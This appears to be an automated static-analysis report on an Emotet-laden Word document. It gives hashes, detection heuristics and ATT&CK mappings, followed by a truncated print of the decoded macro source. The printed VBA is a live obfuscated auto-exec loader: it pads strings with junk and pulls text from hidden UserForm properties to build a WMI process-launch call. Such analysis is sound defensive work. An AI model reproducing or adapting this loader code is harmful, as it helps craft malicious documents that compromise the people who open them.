Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fa30efe50afdb9a0…

MALICIOUS

Office (OLE)

202.8 KB Created: 2020-02-07 06:57:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: a4a851cb1d7d43c3363744c348814734 SHA-1: e2f8405363142d0a76522b36d66f19ec7684d62f SHA-256: fa30efe50afdb9a03bd087b6b6b188e5fd66e16308cb89178192cdc40bd1f93d
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings indicating an obfuscated auto-exec VBA loader using a hidden UserForm command stager and CreateObject for execution. ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-7580152-0'. The VBA code appears to be designed to execute a second-stage payload, a common Emotet behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7580152-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7580152-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18488 bytes
SHA-256: 3f0ca153559580e9909ea957f633b30e0089d4d0e2f2fcb78b469f2ea6345901
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xbfsqvidiiy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Chifzzuxn.Ogwacyapxz
End Sub

Attribute VB_Name = "Tndtzwgq"
Attribute VB_Base = "0{25F2D7D1-313A-47D2-BE09-8415E4BCBCFA}{2403BCA2-142D-40A2-ADFC-5845DFF10A47}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Chifzzuxn"
Function Ogwacyapxz()
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Kjaqqhrcaic = "3}{33}{3w3}{3i3}{33}{3n3}{3m3}{3g3}{33}{3mt3}{33}{3" + ChrW(Tndtzwgq.Zoom + 9 + 6) + ":3}{3wi3}{33}{3n33}{33}{33}{323}{33}{3_3}{33}{3" + Tndtzwgq.Apypmbituepdt + "r3}{33}{3o3}{3ce3}{3s3}{33}{3s3}{3"
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do While bVjlgBogkn < 77
DoEvents: bVjlgBogkn = bVjlgBogkn + 1
Loop
End If
Aqvpotskoc = Dimkmsirbz(Kjaqqhrcaic)
   WQeCWEFvnl = Replace$("dlUlMYEiLcOqIuPskNhReXRV", "MYEiLcOqIu", "cGUuaMTEFv")
KaQWCwVWzS = Chr(97) & Chr(100) & Chr(98) & Chr(97) & Chr(115) & Chr(104) & Chr(106) & Chr(100) & Chr(115) & Chr(97) & Chr(100) & Chr(100) & Chr(100) & Chr(100) & Chr(97) & Chr(115) & Chr(100)
LlftsxEDRX = "TeEmFOuBFc"
LlftsxEDRX2 = ""
LlftsxEDRX = LlftsxEDRX & "CfvQCAjQmL"
LlftsxEDRX = LlftsxEDRX & "wxsspKMrts"
kZwVvFStKu = Len(LlftsxEDRX)
jkxiWDRyHj = iENsfuJucu
jkxiWDRyHj = Chr(105) & Chr(69) & Chr(78) & Chr(115) & Chr(102) & Chr(117) & Chr(74) & Chr(117) & Chr(99) & Chr(117)
fhhFfahLtd = InStrRev("bhrOmBnTOJUhUaWBtuDEZnER", "mBnTOJUhUa")
If jkxiWDRyHj <> KaQWCwVWzS Then
ZNcEXXcZiR = KaQWCwVWzS
bVjlgBogkn = 2
Do Whil
... (truncated)

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